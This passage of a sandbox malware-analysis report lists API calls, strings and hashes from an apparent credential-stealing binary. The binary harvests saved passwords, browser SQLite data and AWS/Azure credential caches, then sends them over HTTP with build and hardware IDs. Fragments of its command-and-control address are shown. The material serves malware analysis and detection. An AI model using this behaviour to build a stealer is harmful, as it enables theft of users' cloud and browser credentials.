Instruction Fuzzy Hash: 2A527D71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB610771A1DBB87E8E8B98

Function 004169B6 Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 249
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AA0
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AF9
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B59
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BB2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BC8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BDE
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BF0
Sleep.KERNEL32(0000EA60), ref: 00416BFF

Strings

sqlp.dll, xrefs: 00416CFE
ERROR, xrefs: 00416BE8
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416CAE
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416CDF
sqlp.dll, xrefs: 00416CCD
.vA, xrefs: 00416D1D
ERROR, xrefs: 00416BC0
ERROR, xrefs: 00416A98
ERROR, xrefs: 00416AF1
ERROR, xrefs: 00416B51
ERROR, xrefs: 00416BAA
sqlite3.dll, xrefs: 00416C9C
ERROR, xrefs: 00416BD6
sqlite3.dll, xrefs: 00416C68

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Sleep
String ID: .vA$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sqlite3.dll$sqlite3.dll$sqlp.dll$sqlp.dll
API String ID: 2840494320-4129404369
Opcode ID: a45e317464bf1edbde2a90d5a52dd523743f320969f0b5af628d37bda6730293
Instruction ID: 3295cb3038e640ef7bf1334207e300efc9412b34fd4a8ee3f001cefdb945b7ae
Opcode Fuzzy Hash: a45e317464bf1edbde2a90d5a52dd523743f320969f0b5af628d37bda6730293
Instruction Fuzzy Hash: A9915F31E40119ABCF10FBA6ED47ACC7770AF04308F51502BF915B7191DBB8AE898B98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,00437198,004367C6,?,?,?), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: e79cd5a6fe499fb7965201bd0776ad43c7a927167085e3e7bd657c15f75794a8
Instruction ID: 9a12f6b0eacbcb2ed4cda68e664cf834d7366407d3e9ed4d657f0b87806d2d42
Opcode Fuzzy Hash: e79cd5a6fe499fb7965201bd0776ad43c7a927167085e3e7bd657c15f75794a8
Instruction Fuzzy Hash: A2814032900208AFCF05FFA1EE4A9CD7B76BF08316F205026F501B31A1EB7A5E559B59

Function 00404B2E Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 378
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

8wA, xrefs: 00405222
------, xrefs: 00404F5B
build_id, xrefs: 0040500D
hwid, xrefs: 00404EAD
", xrefs: 00405039
------, xrefs: 00404DFB
", xrefs: 00404ED9
------, xrefs: 00404C75

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$8wA$build_id$hwid
API String ID: 3006978581-858375883
Opcode ID: 34a212d76a3bfc79e74cf83c5d1317f3bdb29bc58600130ec353d97f1a3d475c
Instruction ID: 7219792e9a540e442724c4d24598c6325e7ae8fa207a63d5b21e459a2de286cb
Opcode Fuzzy Hash: 34a212d76a3bfc79e74cf83c5d1317f3bdb29bc58600130ec353d97f1a3d475c
Instruction Fuzzy Hash: C002C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 5943a0df419b2f97d08efb2acebaf1400ff012adf14d9747056922950aa0c363
Instruction ID: 11c0bd3ed3d7e6805384e8c578cb98533790a078e52b8311c5bcc7c05517a4c3
Opcode Fuzzy Hash: 5943a0df419b2f97d08efb2acebaf1400ff012adf14d9747056922950aa0c363
Instruction Fuzzy Hash: 2B41C8B1900218ABD7205F61AC4CF9F7B7DEB89715F1006BAF109E10A1DA354E54CF28

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

Azure\.azure, xrefs: 00416531
\.azure\, xrefs: 00416512
Azure\.IdentityService, xrefs: 00416619
*.*, xrefs: 00416536
msal.cache, xrefs: 0041661E
Azure\.aws, xrefs: 004165A5
*.*, xrefs: 004165AA
\.IdentityService\, xrefs: 004165FD
\.aws\, xrefs: 00416589

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$_memsetwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4216275855-974132213
Opcode ID: 76b6cfcc2cbbf7bce573afa5f5241ca90d425f37a5191db5c0e06d16ae103776
Instruction ID: c1663bc4ae337e97e36098b0a6fa5269247debf2670cee4f463a309fb8bc2b96
Opcode Fuzzy Hash: 76b6cfcc2cbbf7bce573afa5f5241ca90d425f37a5191db5c0e06d16ae103776
Instruction Fuzzy Hash: 2741C671D4021C7BDB14EB61EC47FDD7378AB09308F5044AAB605B7090EAB9AB888F59

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,004373D0,00436812,?,?,?), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: bd24911d9c6cfefd4e37482eb3b4265b0e4e890a277d74ec42a85d9c1a9561a1
Instruction ID: ea3aaa4254ea011307d5ff1151e45a3af1a32ea2cb92a891b43a4b7d07102f87
Opcode Fuzzy Hash: bd24911d9c6cfefd4e37482eb3b4265b0e4e890a277d74ec42a85d9c1a9561a1
Instruction Fuzzy Hash: E6C15D32904208AFDF15EFA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 00417041 Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,0041858F), ref: 004170DD
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004170EC
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 0041760A
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004176CB
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004176E4

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,00417744), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417A9A

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,0041858F), ref: 00417100

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417E31,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00418000

Strings

hopto, xrefs: 00417E9F
_DEBUG.zip, xrefs: 00417F35
cowod., xrefs: 00417E7B
org, xrefs: 00417EE7
7fb8096dba7218243f8f6f7a994751d3, xrefs: 0041770C
.exe, xrefs: 00417E04
http://, xrefs: 00417E57
.exe, xrefs: 00417549

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
